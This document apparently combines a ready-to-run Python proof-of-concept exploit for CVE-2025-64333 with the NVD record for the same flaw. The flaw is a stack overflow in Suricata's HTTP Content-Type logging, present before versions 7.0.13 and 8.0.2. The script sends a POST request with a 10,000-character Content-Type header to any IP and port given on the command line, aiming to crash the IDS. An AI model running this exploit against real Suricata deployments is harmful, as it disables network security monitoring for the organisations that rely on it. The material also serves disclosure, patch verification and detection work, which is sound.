CVE-2025-64333

#!/usr/bin/env python3 # CVE-2025-64333 PoC - Suricata HTTP Content-Type Stack Overflow # This PoC demonstrates sending an HTTP request with an oversized Content-Type header # that can trigger a stack overflow in vulnerable Suricata versions import socket import sys def send_malicious_http_request(target_ip, target_port): """ Send HTTP request with oversized Content-Type header to trigger vulnerability """ # Generate oversized Content-Type value (exceeds stack buffer size) oversized_content_type = "a" * 10000 # Construct malicious HTTP request http_request = ( f"POST / HTTP/1.1\r\n" f"Host: {target_ip}:{target_port}\r\n" f"Content-Type: {oversized_content_type}\r\n" f"Content-Length: 0\r\n" f"\r\n" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_request.encode('utf-8')) print(f"[+] Malicious request sent to {target_ip}:{target_port}") print(f"[+] Content-Type length: {len(oversized_content_type)} bytes") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) print("[*] CVE-2025-64333 Suricata Stack Overflow PoC") print("[*] Target: Suricata with vulnerable HTTP logging") send_malicious_http_request(target_ip, target_port)

{"cve": {"id": "CVE-2025-64333", "sourceIdentifier": "[email protected]", "published": "2025-11-26T23:15:48.590", "lastModified": "2025-12-05T13:55:46.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Suricata is a network IDS, IPS and NSM engine developed by the OISF (Open Information Security Foundation) and the Suricata community. Prior to versions 7.0.13 and 8.0.2, a large HTTP content type, when logged can cause a stack overflow crashing Suricata. This issue has been patched in versions 7.0.13 and 8.0.2. A workaround for this issue involves limiting stream.reassembly.depth to less then half the stack size. Increasing the process stack size makes it less likely the bug will trigger."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.0.13", "matchCriteriaId": "AA4D86E3-44A3-4B0B-9CF4-9FC88091D3C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.2", "matchCriteriaId": "C93A731C-19AD-4067-B28C-17164C2D981D"}]}]}], "references": [{"url": "https://github.com/OISF/suricata/security/advisories/GHSA-537h-xxmx-v87m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}